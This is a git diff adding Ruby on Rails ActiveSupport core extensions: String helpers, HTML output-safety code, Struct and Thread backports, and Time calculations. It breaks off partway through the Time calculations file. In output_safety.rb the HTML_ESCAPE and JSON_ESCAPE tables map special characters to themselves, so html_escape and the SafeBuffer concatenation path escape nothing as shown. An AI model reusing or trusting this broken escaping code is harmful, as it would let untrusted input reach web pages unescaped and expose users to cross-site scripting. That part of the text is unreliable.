index 0000000..114bcb8
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/exclude.rb
@@ -0,0 +1,11 @@
+class String
+ # The inverse of <tt>String#include?</tt>. Returns true if the string
+ # does not include the other string.
+ #
+ # "hello".exclude? "lo" #=> false
+ # "hello".exclude? "ol" #=> true
+ # "hello".exclude? ?h #=> false
+ def exclude?(string)
+ !include?(string)
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/filters.rb b/activesupport/lib/active_support/core_ext/string/filters.rb
new file mode 100644
index 0000000..c62bb41
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/filters.rb
@@ -0,0 +1,55 @@
+class String
+ # Returns the string, first removing all whitespace on both ends of
+ # the string, and then changing remaining consecutive whitespace
+ # groups into one space each.
+ #
+ # Note that it handles both ASCII and Unicode whitespace like mongolian vowel separator (U+180E).
+ #
+ # %{ Multi-line
+ # string }.squish # => "Multi-line string"
+ # " foo bar \n \t boo".squish # => "foo bar boo"
+ def squish
+ dup.squish!
+ end
+
+ # Performs a destructive squish. See String#squish.
+ def squish!
+ gsub!(/\A[[:space:]]+/, '')
+ gsub!(/[[:space:]]+\z/, '')
+ gsub!(/[[:space:]]+/, ' ')
+ self
+ end
+
+ # Truncates a given +text+ after a given <tt>length</tt> if +text+ is longer than <tt>length</tt>:
+ #
+ # 'Once upon a time in a world far far away'.truncate(27)
+ # # => "Once upon a time in a wo..."
+ #
+ # Pass a string or regexp <tt>:separator</tt> to truncate +text+ at a natural break:
+ #
+ # 'Once upon a time in a world far far away'.truncate(27, separator: ' ')
+ # # => "Once upon a time in a..."
+ #
+ # 'Once upon a time in a world far far away'.truncate(27, separator: /\s/)
+ # # => "Once upon a time in a..."
+ #
+ # The last characters will be replaced with the <tt>:omission</tt> string (defaults to "...")
+ # for a total length not exceeding <tt>length</tt>:
+ #
+ # 'And they found that many people were sleeping better.'.truncate(25, omission: '... (continued)')
+ # # => "And they f... (continued)"
+ def truncate(truncate_at, options = {})
+ return dup unless length > truncate_at
+
+ options[:omission] ||= '...'
+ length_with_room_for_omission = truncate_at - options[:omission].length
+ stop = \
+ if options[:separator]
+ rindex(options[:separator], length_with_room_for_omission) || length_with_room_for_omission
+ else
+ length_with_room_for_omission
+ end
+
+ "#{self[0...stop]}#{options[:omission]}"
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/indent.rb b/activesupport/lib/active_support/core_ext/string/indent.rb
new file mode 100644
index 0000000..ce3a69c
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/indent.rb
@@ -0,0 +1,43 @@
+class String
+ # Same as +indent+, except it indents the receiver in-place.
+ #
+ # Returns the indented string, or +nil+ if there was nothing to indent.
+ def indent!(amount, indent_string=nil, indent_empty_lines=false)
+ indent_string = indent_string || self[/^[ \t]/] || ' '
+ re = indent_empty_lines ? /^/ : /^(?!$)/
+ gsub!(re, indent_string * amount)
+ end
+
+ # Indents the lines in the receiver:
+ #
+ # <<EOS.indent(2)
+ # def some_method
+ # some_code
+ # end
+ # EOS
+ # # =>
+ # def some_method
+ # some_code
+ # end
+ #
+ # The second argument, +indent_string+, specifies which indent string to
+ # use. The default is +nil+, which tells the method to make a guess by
+ # peeking at the first indented line, and fallback to a space if there is
+ # none.
+ #
+ # " foo".indent(2) # => " foo"
+ # "foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar"
+ # "foo".indent(2, "\t") # => "\t\tfoo"
+ #
+ # While +indent_string+ is typically one space or tab, it may be any string.
+ #
+ # The third argument, +indent_empty_lines+, is a flag that says whether
+ # empty lines should be indented. Default is false.
+ #
+ # "foo\n\nbar".indent(2) # => " foo\n\n bar"
+ # "foo\n\nbar".indent(2, nil, true) # => " foo\n \n bar"
+ #
+ def indent(amount, indent_string=nil, indent_empty_lines=false)
+ dup.tap {|_| _.indent!(amount, indent_string, indent_empty_lines)}
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/inflections.rb b/activesupport/lib/active_support/core_ext/string/inflections.rb
new file mode 100644
index 0000000..0b506a6
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/inflections.rb
@@ -0,0 +1,212 @@
+require 'active_support/inflector/methods'
+require 'active_support/inflector/transliterate'
+
+# String inflections define new methods on the String class to transform names for different purposes.
+# For instance, you can figure out the name of a table from the name of a class.
+#
+# 'ScaleScore'.tableize # => "scale_scores"
+#
+class String
+ # Returns the plural form of the word in the string.
+ #
+ # If the optional parameter +count+ is specified,
+ # the singular form will be returned if <tt>count == 1</tt>.
+ # For any other value of +count+ the plural will be returned.
+ #
+ # If the optional parameter +locale+ is specified,
+ # the word will be pluralized as a word of that language.
+ # By default, this parameter is set to <tt>:en</tt>.
+ # You must define your own inflection rules for languages other than English.
+ #
+ # 'post'.pluralize # => "posts"
+ # 'octopus'.pluralize # => "octopi"
+ # 'sheep'.pluralize # => "sheep"
+ # 'words'.pluralize # => "words"
+ # 'the blue mailman'.pluralize # => "the blue mailmen"
+ # 'CamelOctopus'.pluralize # => "CamelOctopi"
+ # 'apple'.pluralize(1) # => "apple"
+ # 'apple'.pluralize(2) # => "apples"
+ # 'ley'.pluralize(:es) # => "leyes"
+ # 'ley'.pluralize(1, :es) # => "ley"
+ def pluralize(count = nil, locale = :en)
+ locale = count if count.is_a?(Symbol)
+ if count == 1
+ self
+ else
+ ActiveSupport::Inflector.pluralize(self, locale)
+ end
+ end
+
+ # The reverse of +pluralize+, returns the singular form of a word in a string.
+ #
+ # If the optional parameter +locale+ is specified,
+ # the word will be singularized as a word of that language.
+ # By default, this parameter is set to <tt>:en</tt>.
+ # You must define your own inflection rules for languages other than English.
+ #
+ # 'posts'.singularize # => "post"
+ # 'octopi'.singularize # => "octopus"
+ # 'sheep'.singularize # => "sheep"
+ # 'word'.singularize # => "word"
+ # 'the blue mailmen'.singularize # => "the blue mailman"
+ # 'CamelOctopi'.singularize # => "CamelOctopus"
+ # 'leyes'.singularize(:es) # => "ley"
+ def singularize(locale = :en)
+ ActiveSupport::Inflector.singularize(self, locale)
+ end
+
+ # +constantize+ tries to find a declared constant with the name specified
+ # in the string. It raises a NameError when the name is not in CamelCase
+ # or is not initialized. See ActiveSupport::Inflector.constantize
+ #
+ # 'Module'.constantize # => Module
+ # 'Class'.constantize # => Class
+ # 'blargle'.constantize # => NameError: wrong constant name blargle
+ def constantize
+ ActiveSupport::Inflector.constantize(self)
+ end
+
+ # +safe_constantize+ tries to find a declared constant with the name specified
+ # in the string. It returns nil when the name is not in CamelCase
+ # or is not initialized. See ActiveSupport::Inflector.safe_constantize
+ #
+ # 'Module'.safe_constantize # => Module
+ # 'Class'.safe_constantize # => Class
+ # 'blargle'.safe_constantize # => nil
+ def safe_constantize
+ ActiveSupport::Inflector.safe_constantize(self)
+ end
+
+ # By default, +camelize+ converts strings to UpperCamelCase. If the argument to camelize
+ # is set to <tt>:lower</tt> then camelize produces lowerCamelCase.
+ #
+ # +camelize+ will also convert '/' to '::' which is useful for converting paths to namespaces.
+ #
+ # 'active_record'.camelize # => "ActiveRecord"
+ # 'active_record'.camelize(:lower) # => "activeRecord"
+ # 'active_record/errors'.camelize # => "ActiveRecord::Errors"
+ # 'active_record/errors'.camelize(:lower) # => "activeRecord::Errors"
+ def camelize(first_letter = :upper)
+ case first_letter
+ when :upper
+ ActiveSupport::Inflector.camelize(self, true)
+ when :lower
+ ActiveSupport::Inflector.camelize(self, false)
+ end
+ end
+ alias_method :camelcase, :camelize
+
+ # Capitalizes all the words and replaces some characters in the string to create
+ # a nicer looking title. +titleize+ is meant for creating pretty output. It is not
+ # used in the Rails internals.
+ #
+ # +titleize+ is also aliased as +titlecase+.
+ #
+ # 'man from the boondocks'.titleize # => "Man From The Boondocks"
+ # 'x-men: the last stand'.titleize # => "X Men: The Last Stand"
+ def titleize
+ ActiveSupport::Inflector.titleize(self)
+ end
+ alias_method :titlecase, :titleize
+
+ # The reverse of +camelize+. Makes an underscored, lowercase form from the expression in the string.
+ #
+ # +underscore+ will also change '::' to '/' to convert namespaces to paths.
+ #
+ # 'ActiveModel'.underscore # => "active_model"
+ # 'ActiveModel::Errors'.underscore # => "active_model/errors"
+ def underscore
+ ActiveSupport::Inflector.underscore(self)
+ end
+
+ # Replaces underscores with dashes in the string.
+ #
+ # 'puni_puni'.dasherize # => "puni-puni"
+ def dasherize
+ ActiveSupport::Inflector.dasherize(self)
+ end
+
+ # Removes the module part from the constant expression in the string.
+ #
+ # 'ActiveRecord::CoreExtensions::String::Inflections'.demodulize # => "Inflections"
+ # 'Inflections'.demodulize # => "Inflections"
+ #
+ # See also +deconstantize+.
+ def demodulize
+ ActiveSupport::Inflector.demodulize(self)
+ end
+
+ # Removes the rightmost segment from the constant expression in the string.
+ #
+ # 'Net::HTTP'.deconstantize # => "Net"
+ # '::Net::HTTP'.deconstantize # => "::Net"
+ # 'String'.deconstantize # => ""
+ # '::String'.deconstantize # => ""
+ # ''.deconstantize # => ""
+ #
+ # See also +demodulize+.
+ def deconstantize
+ ActiveSupport::Inflector.deconstantize(self)
+ end
+
+ # Replaces special characters in a string so that it may be used as part of a 'pretty' URL.
+ #
+ # class Person
+ # def to_param
+ # "#{id}-#{name.parameterize}"
+ # end
+ # end
+ #
+ # @person = Person.find(1)
+ # # => #<Person id: 1, name: "Donald E. Knuth">
+ #
+ # <%= link_to(@person.name, person_path) %>
+ # # => <a href="/person/1-donald-e-knuth">Donald E. Knuth</a>
+ def parameterize(sep = '-')
+ ActiveSupport::Inflector.parameterize(self, sep)
+ end
+
+ # Creates the name of a table like Rails does for models to table names. This method
+ # uses the +pluralize+ method on the last word in the string.
+ #
+ # 'RawScaledScorer'.tableize # => "raw_scaled_scorers"
+ # 'egg_and_ham'.tableize # => "egg_and_hams"
+ # 'fancyCategory'.tableize # => "fancy_categories"
+ def tableize
+ ActiveSupport::Inflector.tableize(self)
+ end
+
+ # Create a class name from a plural table name like Rails does for table names to models.
+ # Note that this returns a string and not a class. (To convert to an actual class
+ # follow +classify+ with +constantize+.)
+ #
+ # 'egg_and_hams'.classify # => "EggAndHam"
+ # 'posts'.classify # => "Post"
+ #
+ # Singular names are not handled correctly.
+ #
+ # 'business'.classify # => "Busines"
+ def classify
+ ActiveSupport::Inflector.classify(self)
+ end
+
+ # Capitalizes the first word, turns underscores into spaces, and strips '_id'.
+ # Like +titleize+, this is meant for creating pretty output.
+ #
+ # 'employee_salary'.humanize # => "Employee salary"
+ # 'author_id'.humanize # => "Author"
+ def humanize
+ ActiveSupport::Inflector.humanize(self)
+ end
+
+ # Creates a foreign key name from a class name.
+ # +separate_class_name_and_id_with_underscore+ sets whether
+ # the method should put '_' between the name and 'id'.
+ #
+ # 'Message'.foreign_key # => "message_id"
+ # 'Message'.foreign_key(false) # => "messageid"
+ # 'Admin::Post'.foreign_key # => "post_id"
+ def foreign_key(separate_class_name_and_id_with_underscore = true)
+ ActiveSupport::Inflector.foreign_key(self, separate_class_name_and_id_with_underscore)
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/inquiry.rb b/activesupport/lib/active_support/core_ext/string/inquiry.rb
new file mode 100644
index 0000000..1dcd949
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/inquiry.rb
@@ -0,0 +1,13 @@
+require 'active_support/string_inquirer'
+
+class String
+ # Wraps the current string in the <tt>ActiveSupport::StringInquirer</tt> class,
+ # which gives you a prettier way to test for equality.
+ #
+ # env = 'production'.inquiry
+ # env.production? # => true
+ # env.development? # => false
+ def inquiry
+ ActiveSupport::StringInquirer.new(self)
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/multibyte.rb b/activesupport/lib/active_support/core_ext/string/multibyte.rb
new file mode 100644
index 0000000..a124202
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/multibyte.rb
@@ -0,0 +1,49 @@
+# encoding: utf-8
+require 'active_support/multibyte'
+
+class String
+ # == Multibyte proxy
+ #
+ # +mb_chars+ is a multibyte safe proxy for string methods.
+ #
+ # It creates and returns an instance of the ActiveSupport::Multibyte::Chars class which
+ # encapsulates the original string. A Unicode safe version of all the String methods are defined on this proxy
+ # class. If the proxy class doesn't respond to a certain method, it's forwarded to the encapsulated string.
+ #
+ # name = 'Claus Müller'
+ # name.reverse # => "rell??M sualC"
+ # name.length # => 13
+ #
+ # name.mb_chars.reverse.to_s # => "rellüM sualC"
+ # name.mb_chars.length # => 12
+ #
+ # == Method chaining
+ #
+ # All the methods on the Chars proxy which normally return a string will return a Chars object. This allows
+ # method chaining on the result of any of these methods.
+ #
+ # name.mb_chars.reverse.length # => 12
+ #
+ # == Interoperability and configuration
+ #
+ # The Chars object tries to be as interchangeable with String objects as possible: sorting and comparing between
+ # String and Char work like expected. The bang! methods change the internal string representation in the Chars
+ # object. Interoperability problems can be resolved easily with a +to_s+ call.
+ #
+ # For more information about the methods defined on the Chars proxy see ActiveSupport::Multibyte::Chars. For
+ # information about how to change the default Multibyte behavior see ActiveSupport::Multibyte.
+ def mb_chars
+ ActiveSupport::Multibyte.proxy_class.new(self)
+ end
+
+ def is_utf8?
+ case encoding
+ when Encoding::UTF_8
+ valid_encoding?
+ when Encoding::ASCII_8BIT, Encoding::US_ASCII
+ dup.force_encoding(Encoding::UTF_8).valid_encoding?
+ else
+ false
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/output_safety.rb b/activesupport/lib/active_support/core_ext/string/output_safety.rb
new file mode 100644
index 0000000..dc033ed
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/output_safety.rb
@@ -0,0 +1,194 @@
+require 'erb'
+require 'active_support/core_ext/kernel/singleton_class'
+
+class ERB
+ module Util
+ HTML_ESCAPE = { '&' => '&', '>' => '>', '<' => '<', '"' => '"', "'" => ''' }
+ JSON_ESCAPE = { '&' => '\u0026', '>' => '\u003E', '<' => '\u003C' }
+ HTML_ESCAPE_ONCE_REGEXP = /["><']|&(?!([a-zA-Z]+|(#\d+));)/
+ JSON_ESCAPE_REGEXP = /[&"><]/
+
+ # A utility method for escaping HTML tag characters.
+ # This method is also aliased as <tt>h</tt>.
+ #
+ # In your ERB templates, use this method to escape any unsafe content. For example:
+ # <%=h @person.name %>
+ #
+ # puts html_escape('is a > 0 & a < 10?')
+ # # => is a > 0 & a < 10?
+ def html_escape(s)
+ s = s.to_s
+ if s.html_safe?
+ s
+ else
+ s.gsub(/[&"'><]/, HTML_ESCAPE).html_safe
+ end
+ end
+
+ # Aliasing twice issues a warning "discarding old...". Remove first to avoid it.
+ remove_method(:h)
+ alias h html_escape
+
+ module_function :h
+
+ singleton_class.send(:remove_method, :html_escape)
+ module_function :html_escape
+
+ # A utility method for escaping HTML without affecting existing escaped entities.
+ #
+ # html_escape_once('1 < 2 & 3')
+ # # => "1 < 2 & 3"
+ #
+ # html_escape_once('<< Accept & Checkout')
+ # # => "<< Accept & Checkout"
+ def html_escape_once(s)
+ result = s.to_s.gsub(HTML_ESCAPE_ONCE_REGEXP, HTML_ESCAPE)
+ s.html_safe? ? result.html_safe : result
+ end
+
+ module_function :html_escape_once
+
+ # A utility method for escaping HTML entities in JSON strings
+ # using \uXXXX JavaScript escape sequences for string literals:
+ #
+ # json_escape('is a > 0 & a < 10?')
+ # # => is a \u003E 0 \u0026 a \u003C 10?
+ #
+ # Note that after this operation is performed the output is not
+ # valid JSON. In particular double quotes are removed:
+ #
+ # json_escape('{"name":"john","created_at":"2010-04-28T01:39:31Z","id":1}')
+ # # => {name:john,created_at:2010-04-28T01:39:31Z,id:1}
+ def json_escape(s)
+ result = s.to_s.gsub(JSON_ESCAPE_REGEXP, JSON_ESCAPE)
+ s.html_safe? ? result.html_safe : result
+ end
+
+ module_function :json_escape
+ end
+end
+
+class Object
+ def html_safe?
+ false
+ end
+end
+
+class Numeric
+ def html_safe?
+ true
+ end
+end
+
+module ActiveSupport #:nodoc:
+ class SafeBuffer < String
+ UNSAFE_STRING_METHODS = %w(
+ capitalize chomp chop delete downcase gsub lstrip next reverse rstrip
+ slice squeeze strip sub succ swapcase tr tr_s upcase prepend
+ )
+
+ alias_method :original_concat, :concat
+ private :original_concat
+
+ class SafeConcatError < StandardError
+ def initialize
+ super 'Could not concatenate to the buffer because it is not html safe.'
+ end
+ end
+
+ def [](*args)
+ if args.size < 2
+ super
+ else
+ if html_safe?
+ new_safe_buffer = super
+ new_safe_buffer.instance_eval { @html_safe = true }
+ new_safe_buffer
+ else
+ to_str[*args]
+ end
+ end
+ end
+
+ def safe_concat(value)
+ raise SafeConcatError unless html_safe?
+ original_concat(value)
+ end
+
+ def initialize(*)
+ @html_safe = true
+ super
+ end
+
+ def initialize_copy(other)
+ super
+ @html_safe = other.html_safe?
+ end
+
+ def clone_empty
+ self[0, 0]
+ end
+
+ def concat(value)
+ if !html_safe? || value.html_safe?
+ super(value)
+ else
+ super(ERB::Util.h(value))
+ end
+ end
+ alias << concat
+
+ def +(other)
+ dup.concat(other)
+ end
+
+ def %(args)
+ args = Array(args).map do |arg|
+ if !html_safe? || arg.html_safe?
+ arg
+ else
+ ERB::Util.h(arg)
+ end
+ end
+
+ self.class.new(super(args))
+ end
+
+ def html_safe?
+ defined?(@html_safe) && @html_safe
+ end
+
+ def to_s
+ self
+ end
+
+ def to_param
+ to_str
+ end
+
+ def encode_with(coder)
+ coder.represent_scalar nil, to_str
+ end
+
+ UNSAFE_STRING_METHODS.each do |unsafe_method|
+ if 'String'.respond_to?(unsafe_method)
+ class_eval <<-EOT, __FILE__, __LINE__ + 1
+ def #{unsafe_method}(*args, &block) # def capitalize(*args, &block)
+ to_str.#{unsafe_method}(*args, &block) # to_str.capitalize(*args, &block)
+ end # end
+
+ def #{unsafe_method}!(*args) # def capitalize!(*args)
+ @html_safe = false # @html_safe = false
+ super # super
+ end # end
+ EOT
+ end
+ end
+ end
+end
+
+class String
+ def html_safe
+ ActiveSupport::SafeBuffer.new(self)
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/starts_ends_with.rb b/activesupport/lib/active_support/core_ext/string/starts_ends_with.rb
new file mode 100644
index 0000000..641acf6
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/starts_ends_with.rb
@@ -0,0 +1,4 @@
+class String
+ alias_method :starts_with?, :start_with?
+ alias_method :ends_with?, :end_with?
+end
diff --git a/activesupport/lib/active_support/core_ext/string/strip.rb b/activesupport/lib/active_support/core_ext/string/strip.rb
new file mode 100644
index 0000000..086c610
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/strip.rb
@@ -0,0 +1,26 @@
+require 'active_support/core_ext/object/try'
+
+class String
+ # Strips indentation in heredocs.
+ #
+ # For example in
+ #
+ # if options[:usage]
+ # puts <<-USAGE.strip_heredoc
+ # This command does such and such.
+ #
+ # Supported options are:
+ # -h This message
+ # ...
+ # USAGE
+ # end
+ #
+ # the user would see the usage message aligned against the left margin.
+ #
+ # Technically, it looks for the least indented line in the whole string, and removes
+ # that amount of leading whitespace.
+ def strip_heredoc
+ indent = scan(/^[ \t]*(?=\S)/).min.try(:size) || 0
+ gsub(/^[ \t]{#{indent}}/, '')
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/zones.rb b/activesupport/lib/active_support/core_ext/string/zones.rb
new file mode 100644
index 0000000..e3f20ee
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/zones.rb
@@ -0,0 +1,13 @@
+require 'active_support/core_ext/time/zones'
+
+class String
+ # Converts String to a TimeWithZone in the current zone if Time.zone or Time.zone_default
+ # is set, otherwise converts String to a Time via String#to_time
+ def in_time_zone(zone = ::Time.zone)
+ if zone
+ ::Time.find_zone!(zone).parse(self)
+ else
+ to_time
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/struct.rb b/activesupport/lib/active_support/core_ext/struct.rb
new file mode 100644
index 0000000..c2c3004
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/struct.rb
@@ -0,0 +1,6 @@
+# Backport of Struct#to_h from Ruby 2.0
+class Struct # :nodoc:
+ def to_h
+ Hash[members.zip(values)]
+ end
+end unless Struct.instance_methods.include?(:to_h)
diff --git a/activesupport/lib/active_support/core_ext/thread.rb b/activesupport/lib/active_support/core_ext/thread.rb
new file mode 100644
index 0000000..5481766
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/thread.rb
@@ -0,0 +1,74 @@
+class Thread
+ LOCK = Mutex.new # :nodoc:
+
+ # Returns the value of a thread local variable that has been set. Note that
+ # these are different than fiber local values.
+ #
+ # Thread local values are carried along with threads, and do not respect
+ # fibers. For example:
+ #
+ # Thread.new {
+ # Thread.current.thread_variable_set("foo", "bar") # set a thread local
+ # Thread.current["foo"] = "bar" # set a fiber local
+ #
+ # Fiber.new {
+ # Fiber.yield [
+ # Thread.current.thread_variable_get("foo"), # get the thread local
+ # Thread.current["foo"], # get the fiber local
+ # ]
+ # }.resume
+ # }.join.value # => ['bar', nil]
+ #
+ # The value <tt>"bar"</tt> is returned for the thread local, where +nil+ is returned
+ # for the fiber local. The fiber is executed in the same thread, so the
+ # thread local values are available.
+ def thread_variable_get(key)
+ locals[key.to_sym]
+ end
+
+ # Sets a thread local with +key+ to +value+. Note that these are local to
+ # threads, and not to fibers. Please see Thread#thread_variable_get for
+ # more information.
+ def thread_variable_set(key, value)
+ locals[key.to_sym] = value
+ end
+
+ # Returns an an array of the names of the thread-local variables (as Symbols).
+ #
+ # thr = Thread.new do
+ # Thread.current.thread_variable_set(:cat, 'meow')
+ # Thread.current.thread_variable_set("dog", 'woof')
+ # end
+ # thr.join #=> #<Thread:0x401b3f10 dead>
+ # thr.thread_variables #=> [:dog, :cat]
+ #
+ # Note that these are not fiber local variables. Please see Thread#thread_variable_get
+ # for more details.
+ def thread_variables
+ locals.keys
+ end
+
+ # Returns <tt>true</tt> if the given string (or symbol) exists as a
+ # thread-local variable.
+ #
+ # me = Thread.current
+ # me.thread_variable_set(:oliver, "a")
+ # me.thread_variable?(:oliver) #=> true
+ # me.thread_variable?(:stanley) #=> false
+ #
+ # Note that these are not fiber local variables. Please see Thread#thread_variable_get
+ # for more details.
+ def thread_variable?(key)
+ locals.has_key?(key.to_sym)
+ end
+
+ private
+
+ def locals
+ if defined?(@locals)
+ @locals
+ else
+ LOCK.synchronize { @locals ||= {} }
+ end
+ end
+end unless Thread.instance_methods.include?(:thread_variable_set)
diff --git a/activesupport/lib/active_support/core_ext/time.rb b/activesupport/lib/active_support/core_ext/time.rb
new file mode 100644
index 0000000..af6b589
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/time.rb
@@ -0,0 +1,6 @@
+require 'active_support/core_ext/time/acts_like'
+require 'active_support/core_ext/time/calculations'
+require 'active_support/core_ext/time/conversions'
+require 'active_support/core_ext/time/marshal'
+require 'active_support/core_ext/time/zones'
+require 'active_support/core_ext/time/infinite_comparable'
diff --git a/activesupport/lib/active_support/core_ext/time/acts_like.rb b/activesupport/lib/active_support/core_ext/time/acts_like.rb
new file mode 100644
index 0000000..3f853b7
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/time/acts_like.rb
@@ -0,0 +1,8 @@
+require 'active_support/core_ext/object/acts_like'
+
+class Time
+ # Duck-types as a Time-like class. See Object#acts_like?.
+ def acts_like_time?
+ true
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/time/calculations.rb b/activesupport/lib/active_support/core_ext/time/calculations.rb
new file mode 100644
index 0000000..a3ce7db
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/time/calculations.rb
@@ -0,0 +1,285 @@
+require 'active_support/duration'
+require 'active_support/core_ext/time/conversions'
+require 'active_support/time_with_zone'
+require 'active_support/core_ext/time/zones'
+require 'active_support/core_ext/date_and_time/calculations'
+require 'active_support/deprecation'
+
+class Time
+ include DateAndTime::Calculations
+
+ COMMON_YEAR_DAYS_IN_MONTH = [nil, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]
+
+ class << self
+ # Overriding case equality method so that it returns true for ActiveSupport::TimeWithZone instances
+ def ===(other)
+ super || (self == Time && other.is_a?(ActiveSupport::TimeWithZone))
+ end
+
+ # Return the number of days in the given month.
+ # If no year is specified, it will use the current year.
+ def days_in_month(month, year = now.year)
+ if month == 2 && ::Date.gregorian_leap?(year)
+ 29
+ else
+ COMMON_YEAR_DAYS_IN_MONTH[month]
+ end
+ end
+
+ # *DEPRECATED*: Use +Time#utc+ or +Time#local+ instead.
+ #
+ # Returns a new Time if requested year can be accommodated by Ruby's Time class
+ # (i.e., if year is within either 1970..2038 or 1902..2038, depending on system architecture);
+ # otherwise returns a DateTime.
+ def time_with_datetime_fallback(utc_or_local, year, month=1, day=1, hour=0, min=0, sec=0, usec=0)
+ ActiveSupport::Deprecation.warn 'time_with_datetime_fallback is deprecated. Use Time#utc or Time#local instead', caller
+ time = ::Time.send(utc_or_local, year, month, day, hour, min, sec, usec)
+
+ # This check is needed because Time.utc(y) returns a time object in the 2000s for 0 <= y <= 138.
+ if time.year == year
+ time
+ else
+ ::DateTime.civil_from_format(utc_or_local, year, month, day, hour, min, sec)
+ end
+ rescue
+ ::DateTime.civil_from_format(utc_or_local, year, month, day, hour, min, sec)
+ end
+
+ # *DEPRECATED*: Use +Time#utc+ instead.
+ #
+ # Wraps class method +time_with_datetime_fallback+ with +utc_or_local+ set to <tt>:utc</tt>.
+ def utc_time(*args)
+ ActiveSupport::Deprecation.warn 'utc_time is deprecated. Use Time#utc instead', caller
+ time_with_datetime_fallback(:utc, *args)
+ end
+
+ # *DEPRECATED*: Use +Time#local+ instead.
+ #
+ # Wraps class method +time_with_datetime_fallback+ with +utc_or_local+ set to <tt>:local</tt>.
+ def local_time(*args)
+ ActiveSupport::Deprecation.warn 'local_time is deprecated. Use Time#local instead', caller
+ time_with_datetime_fallback(:local, *args)
+ end
+
+ # Returns <tt>Time.zone.now</tt> when <tt>Time.zone</tt> or <tt>config.time_zone</tt> are set, otherwise just returns <tt>Time.now</tt>.
+ def current
+ ::Time.zone ? ::Time.zone.now : ::Time.now
+ end
+ end
+
+ # Seconds since midnight: Time.now.seconds_since_midnight
+ def seconds_since_midnight
+ to_i - change(:hour => 0).to_i + (usec / 1.0e+6)
+ end
+
+ # Returns the number of seconds until 23:59:59.
+ #
+ # Time.new(2012, 8, 29, 0, 0, 0).seconds_until_end_of_day # => 86399
+ # Time.new(2012, 8, 29, 12, 34, 56).seconds_until_end_of_day # => 41103
+ # Time.new(2012, 8, 29, 23, 59, 59).seconds_until_end_of_day # => 0
+ def seconds_until_end_of_day
+ end_of_day.to_i - to_i
+ end
+
+ # Returns a new Time where one or more of the elements have been changed according
+ # to the +options+ parameter. The time options (<tt>:hour</tt>, <tt>:min</tt>,
+ # <tt>:sec</tt>, <tt>:usec</tt>) reset cascadingly, so if only the hour is passed,
+ # then minute, sec, and usec is set to 0. If the hour and minute is passed, then
+ # sec and usec is set to 0. The +options+ parameter takes a hash with any of these
+ # keys: <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>, <tt>:hour</tt>, <tt>:min</tt>,
+ # <tt>:sec</tt>, <tt>:usec</tt>.
+ #
+ # Time.new(2012, 8, 29, 22, 35, 0).change(day: 1) # => Time.new(2012, 8, 1, 22, 35, 0)
+ # Time.new(2012, 8, 29, 22, 35, 0).change(year: 1981, day: 1) # => Time.new(1981, 8, 1, 22, 35, 0)
+ # Time.new(2012, 8, 29, 22, 35, 0).change(year: 1981, hour: 0) # => Time.new(1981, 8, 29, 0, 0, 0)
+ def change(options)
+ new_year = options.fetch(:year, year)
+ new_month = options.fetch(:month, month)
+ new_day = options.fetch(:day, day)
+ new_hour = options.fetch(:hour, hour)
+ new_min = options.fetch(:min, options[:hour] ? 0 : min)
+ new_sec = options.fetch(:sec, (options[:hour] || options[:min]) ? 0 : sec)
+ new_usec = options.fetch(:usec, (options[:hour] || options[:min] || options[:sec]) ? 0 : Rational(nsec, 1000))
+
+ if utc?
+ ::Time.utc(new_year, new_month, new_day, new_hour, new_min, new_sec, new_usec)
+ elsif zone
+ ::Time.local(new_year, new_month, new_day, new_hour, new_min, new_sec, new_usec)
+ else
+ ::Time.new(new_year, new_month, new_day, new_hour, new_min, new_sec + (new_usec.to_r / 1000000), utc_offset)
+ end
+ end
+
+ # Uses Date to provide precise Time calculations for years, months, and days.
+ # The +options+ parameter takes a hash with any of these keys: <tt>:years</tt>,
+ # <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>,
+ # <tt>:minutes</tt>, <tt>:seconds</tt>.
+ def advance(options)
+ unless options[:weeks].nil?
+ options[:weeks], partial_weeks = options[:weeks].divmod(1)
+ options[:days] = options.fetch(:days, 0) + 7 * partial_weeks
+ end
+
+ unless options[:days].nil?
+ options[:days], partial_days = options[:days].divmod(1)
+ options[:hours] = options.fetch(:hours, 0) + 24 * partial_days
+ end
+
+ d = to_date.advance(options)
+ time_advanced_by_date = change(:year => d.year, :month => d.month, :day => d.day)
+ seconds_to_advance = \
+ options.fetch(:seconds, 0) +
+ options.fetch(:minutes, 0) * 60 +
+ options.fetch(:hours, 0) * 3600
+
+ if seconds_to_advance.zero?
+ time_advanced_by_date
+ else
+ time_advanced_by_date.since(seconds_to_advance)
+ end
+ end
+
+ # Returns a new Time representing the time a number of seconds ago, this is basically a wrapper around the Numeric extension
+ def ago(seconds)
+ since(-seconds)
+ end
+
+ # Returns a new Time representing the time a number of seconds since the instance time
+ def since(seconds)
+ self + seconds
+ rescue
+ to_datetime.since(seconds)
+ end
+ alias :in :since
+
+ # Returns a new Time representing the start of the day (0:00)
+ def beginning_of_day
+ #(self - seconds_since_midnight).change(usec: 0)
+ change(:hour => 0)
+ end
+ alias :midnight :beginning_of_day
+ alias :at_midnight :beginning_of_day
